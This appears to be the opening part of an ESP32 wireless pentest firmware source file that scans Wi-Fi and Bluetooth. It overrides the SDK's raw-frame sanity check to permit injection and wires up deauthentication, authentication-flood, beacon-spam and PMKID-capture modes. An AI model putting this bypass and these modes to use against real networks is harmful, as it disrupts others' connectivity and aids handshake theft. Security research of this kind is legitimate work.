WiFiScan.cpp 91 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_AP)
  238. RunBeaconScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  240. RunAPScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_PWN)
  244. RunPwnScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_DEAUTH)
  246. RunDeauthScan(scan_mode, color);
  247. else if (scan_mode == WIFI_PACKET_MONITOR) {
  248. #ifdef HAS_SCREEN
  249. RunPacketMonitor(scan_mode, color);
  250. #endif
  251. }
  252. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  253. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  254. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  256. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  258. else if (scan_mode == WIFI_ATTACK_AUTH)
  259. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  260. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  262. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  263. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  264. else if (scan_mode == BT_SCAN_ALL) {
  265. #ifdef HAS_BT
  266. RunBluetoothScan(scan_mode, color);
  267. #endif
  268. }
  269. else if (scan_mode == BT_SCAN_SKIMMERS) {
  270. #ifdef HAS_BT
  271. RunBluetoothScan(scan_mode, color);
  272. #endif
  273. }
  274. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  275. RunEspressifScan(scan_mode, color);
  276. else if (scan_mode == LV_JOIN_WIFI) {
  277. #ifdef HAS_SCREEN
  278. RunLvJoinWiFi(scan_mode, color);
  279. #endif
  280. }
  281. else if (scan_mode == LV_ADD_SSID) {
  282. #ifdef HAS_SCREEN
  283. RunLvJoinWiFi(scan_mode, color);
  284. #endif
  285. }
  286. WiFiScan::currentScanMode = scan_mode;
  287. }
  288. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  289. // Common wifi attack configurations
  290. #ifdef HAS_SCREEN
  291. display_obj.TOP_FIXED_AREA_2 = 48;
  292. display_obj.tteBar = true;
  293. display_obj.print_delay_1 = 15;
  294. display_obj.print_delay_2 = 10;
  295. display_obj.initScrollValues(true);
  296. display_obj.tft.setTextWrap(false);
  297. display_obj.tft.setTextColor(TFT_BLACK, color);
  298. display_obj.tft.fillRect(0,16,240,16, color);
  299. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  300. display_obj.touchToExit();
  301. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  302. #endif
  303. packets_sent = 0;
  304. esp_wifi_init(&cfg);
  305. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  306. esp_wifi_set_mode(WIFI_AP_STA);
  307. esp_wifi_start();
  308. esp_wifi_set_promiscuous_filter(NULL);
  309. esp_wifi_set_promiscuous(true);
  310. esp_wifi_set_max_tx_power(78);
  311. this->wifi_initialized = true;
  312. initTime = millis();
  313. }
  314. bool WiFiScan::shutdownWiFi() {
  315. if (this->wifi_initialized) {
  316. esp_wifi_set_promiscuous(false);
  317. WiFi.disconnect();
  318. WiFi.mode(WIFI_OFF);
  319. esp_wifi_set_mode(WIFI_MODE_NULL);
  320. esp_wifi_stop();
  321. esp_wifi_deinit();
  322. this->wifi_initialized = false;
  323. return true;
  324. }
  325. else {
  326. return false;
  327. }
  328. }
  329. bool WiFiScan::shutdownBLE() {
  330. #ifdef HAS_BT
  331. if (this->ble_initialized) {
  332. pBLEScan->stop();
  333. pBLEScan->clearResults();
  334. BLEDevice::deinit();
  335. this->ble_initialized = false;
  336. return true;
  337. }
  338. else {
  339. return false;
  340. }
  341. #endif
  342. return true;
  343. }
  344. // Function to stop all wifi scans
  345. void WiFiScan::StopScan(uint8_t scan_mode)
  346. {
  347. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  348. (currentScanMode == WIFI_SCAN_AP) ||
  349. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  350. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  351. (currentScanMode == WIFI_SCAN_PWN) ||
  352. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  353. (currentScanMode == WIFI_SCAN_EAPOL) ||
  354. (currentScanMode == WIFI_SCAN_ALL) ||
  355. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  356. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  357. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  358. (currentScanMode == WIFI_ATTACK_AUTH) ||
  359. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  360. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  361. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  362. (currentScanMode == WIFI_PACKET_MONITOR) ||
  363. (currentScanMode == LV_JOIN_WIFI))
  364. {
  365. this->shutdownWiFi();
  366. }
  367. else if ((currentScanMode == BT_SCAN_ALL) ||
  368. (currentScanMode == BT_SCAN_SKIMMERS))
  369. {
  370. #ifdef HAS_BT
  371. this->shutdownBLE();
  372. #endif
  373. }
  374. #ifdef HAS_SCREEN
  375. display_obj.display_buffer->clear();
  376. //Serial.print("display_buffer->size(): ");
  377. Serial.println(display_obj.display_buffer->size());
  378. display_obj.tteBar = false;
  379. #endif
  380. }
  381. String WiFiScan::getStaMAC()
  382. {
  383. char *buf;
  384. uint8_t mac[6];
  385. char macAddrChr[18] = {0};
  386. esp_wifi_init(&cfg);
  387. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  388. esp_wifi_set_mode(WIFI_MODE_NULL);
  389. esp_wifi_start();
  390. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  391. this->wifi_initialized = true;
  392. sprintf(macAddrChr,
  393. "%02X:%02X:%02X:%02X:%02X:%02X",
  394. mac[0],
  395. mac[1],
  396. mac[2],
  397. mac[3],
  398. mac[4],
  399. mac[5]);
  400. this->shutdownWiFi();
  401. return String(macAddrChr);
  402. }
  403. String WiFiScan::getApMAC()
  404. {
  405. char *buf;
  406. uint8_t mac[6];
  407. char macAddrChr[18] = {0};
  408. esp_wifi_init(&cfg);
  409. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  410. esp_wifi_set_mode(WIFI_MODE_NULL);
  411. esp_wifi_start();
  412. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  413. this->wifi_initialized = true;
  414. sprintf(macAddrChr,
  415. "%02X:%02X:%02X:%02X:%02X:%02X",
  416. mac[0],
  417. mac[1],
  418. mac[2],
  419. mac[3],
  420. mac[4],
  421. mac[5]);
  422. this->shutdownWiFi();
  423. return String(macAddrChr);
  424. }
  425. String WiFiScan::freeRAM()
  426. {
  427. char s[150];
  428. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  429. this->free_ram = String(esp_get_free_heap_size());
  430. return String(s);
  431. }
  432. // Function to start running a beacon scan
  433. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  434. {
  435. sd_obj.openCapture("ap");
  436. Serial.println(text_table4[9] + (String)access_points->size());
  437. #ifdef HAS_SCREEN
  438. display_obj.TOP_FIXED_AREA_2 = 48;
  439. display_obj.tteBar = true;
  440. display_obj.print_delay_1 = 15;
  441. display_obj.print_delay_2 = 10;
  442. display_obj.initScrollValues(true);
  443. display_obj.tft.setTextWrap(false);
  444. display_obj.tft.setTextColor(TFT_WHITE, color);
  445. display_obj.tft.fillRect(0,16,240,16, color);
  446. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  447. display_obj.touchToExit();
  448. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  449. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  450. #endif
  451. esp_wifi_init(&cfg);
  452. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  453. esp_wifi_set_mode(WIFI_MODE_NULL);
  454. esp_wifi_start();
  455. esp_wifi_set_promiscuous(true);
  456. esp_wifi_set_promiscuous_filter(&filt);
  457. if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  458. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  459. else
  460. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  461. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  462. this->wifi_initialized = true;
  463. initTime = millis();
  464. }
  465. #ifdef HAS_SCREEN
  466. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  467. display_obj.tft.init();
  468. display_obj.tft.setRotation(1);
  469. #ifdef TFT_SHIELD
  470. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  471. Serial.println("Using TFT Shield");
  472. #else if defined(TFT_DIY)
  473. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  474. Serial.println("Using TFT DIY");
  475. #endif
  476. display_obj.tft.setTouch(calData);
  477. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  478. lv_disp_load_scr(scr);
  479. }
  480. #endif
  481. void WiFiScan::RunClearAPs() {
  482. #ifdef HAS_SCREEN
  483. display_obj.tft.setTextWrap(false);
  484. display_obj.tft.setFreeFont(NULL);
  485. display_obj.tft.setCursor(0, 100);
  486. display_obj.tft.setTextSize(1);
  487. display_obj.tft.setTextColor(TFT_CYAN);
  488. display_obj.tft.println(F(text_table4[9]));
  489. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  490. #else
  491. this->clearAPs();
  492. #endif
  493. }
  494. void WiFiScan::RunClearSSIDs() {
  495. #ifdef HAS_SCREEN
  496. display_obj.tft.setTextWrap(false);
  497. display_obj.tft.setFreeFont(NULL);
  498. display_obj.tft.setCursor(0, 100);
  499. display_obj.tft.setTextSize(1);
  500. display_obj.tft.setTextColor(TFT_CYAN);
  501. display_obj.tft.println(F(text_table4[11]));
  502. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  503. #else
  504. this->clearSSIDs();
  505. #endif
  506. }
  507. void WiFiScan::RunGenerateSSIDs(int count) {
  508. #ifdef HAS_SCREEN
  509. display_obj.tft.setTextWrap(false);
  510. display_obj.tft.setFreeFont(NULL);
  511. display_obj.tft.setCursor(0, 100);
  512. display_obj.tft.setTextSize(1);
  513. display_obj.tft.setTextColor(TFT_CYAN);
  514. display_obj.tft.println(F(text_table4[13]));
  515. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  516. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  517. #else
  518. this->generateSSIDs(count);
  519. #endif
  520. }
  521. void WiFiScan::RunShutdownWiFi() {
  522. #ifdef HAS_SCREEN
  523. display_obj.tft.setTextWrap(false);
  524. display_obj.tft.setFreeFont(NULL);
  525. display_obj.tft.setCursor(0, 100);
  526. display_obj.tft.setTextSize(1);
  527. display_obj.tft.setTextColor(TFT_CYAN);
  528. display_obj.tft.print(F(text_table4[16]));
  529. #endif
  530. if (this->wifi_initialized) {
  531. this->shutdownWiFi();
  532. #ifdef HAS_SCREEN
  533. display_obj.tft.setTextColor(TFT_GREEN);
  534. display_obj.tft.println(F("OK"));
  535. #endif
  536. }
  537. else {
  538. #ifdef HAS_SCREEN
  539. display_obj.tft.setTextColor(TFT_RED);
  540. display_obj.tft.println(F(text17));
  541. display_obj.tft.println(F(text_table4[17]));
  542. #endif
  543. }
  544. }
  545. void WiFiScan::RunShutdownBLE() {
  546. #ifdef HAS_SCREEN
  547. display_obj.tft.setTextWrap(false);
  548. display_obj.tft.setFreeFont(NULL);
  549. display_obj.tft.setCursor(0, 100);
  550. display_obj.tft.setTextSize(1);
  551. display_obj.tft.setTextColor(TFT_CYAN);
  552. display_obj.tft.print(F(text_table4[18]));
  553. #endif
  554. if (this->ble_initialized) {
  555. this->shutdownBLE();
  556. #ifdef HAS_SCREEN
  557. display_obj.tft.setTextColor(TFT_GREEN);
  558. display_obj.tft.println(F("OK"));
  559. #endif
  560. }
  561. else {
  562. #ifdef HAS_SCREEN
  563. display_obj.tft.setTextColor(TFT_RED);
  564. display_obj.tft.println(F(text17));
  565. display_obj.tft.println(F(text_table4[19]));
  566. #endif
  567. }
  568. }
  569. void WiFiScan::RunInfo()
  570. {
  571. String sta_mac = this->getStaMAC();
  572. String ap_mac = this->getApMAC();
  573. String free_ram = this->freeRAM();
  574. //Serial.print("STA MAC: ");
  575. //Serial.println(sta_mac);
  576. //Serial.print("AP MAC: ");
  577. //Serial.println(ap_mac);
  578. Serial.println(free_ram);
  579. #ifdef HAS_SCREEN
  580. display_obj.tft.setTextWrap(false);
  581. display_obj.tft.setFreeFont(NULL);
  582. display_obj.tft.setCursor(0, 100);
  583. display_obj.tft.setTextSize(1);
  584. display_obj.tft.setTextColor(TFT_CYAN);
  585. display_obj.tft.println(text_table4[20]);
  586. display_obj.tft.println(text_table4[21] + display_obj.version_number + "\n");
  587. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  588. #endif
  589. if (this->wsl_bypass_enabled) {
  590. #ifdef HAS_SCREEN
  591. display_obj.tft.println(text_table4[23]);
  592. #endif
  593. }
  594. else {
  595. #ifdef HAS_SCREEN
  596. display_obj.tft.println(text_table4[24]);
  597. #endif
  598. }
  599. #ifdef HAS_SCREEN
  600. display_obj.tft.println(text_table4[25] + sta_mac);
  601. display_obj.tft.println(text_table4[26] + ap_mac);
  602. display_obj.tft.println(text_table4[27] + free_ram);
  603. #endif
  604. if (sd_obj.supported) {
  605. #ifdef HAS_SCREEN
  606. display_obj.tft.println(text_table4[28]);
  607. display_obj.tft.print(text_table4[29]);
  608. display_obj.tft.print(sd_obj.card_sz);
  609. display_obj.tft.println("MB");
  610. #endif
  611. }
  612. else {
  613. #ifdef HAS_SCREEN
  614. display_obj.tft.println(text_table4[30]);
  615. display_obj.tft.println(text_table4[31]);
  616. #endif
  617. }
  618. battery_obj.battery_level = battery_obj.getBatteryLevel();
  619. if (battery_obj.i2c_supported) {
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.println(text_table4[32]);
  622. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  623. #endif
  624. }
  625. else {
  626. #ifdef HAS_SCREEN
  627. display_obj.tft.println(text_table4[34]);
  628. #endif
  629. }
  630. #ifdef HAS_SCREEN
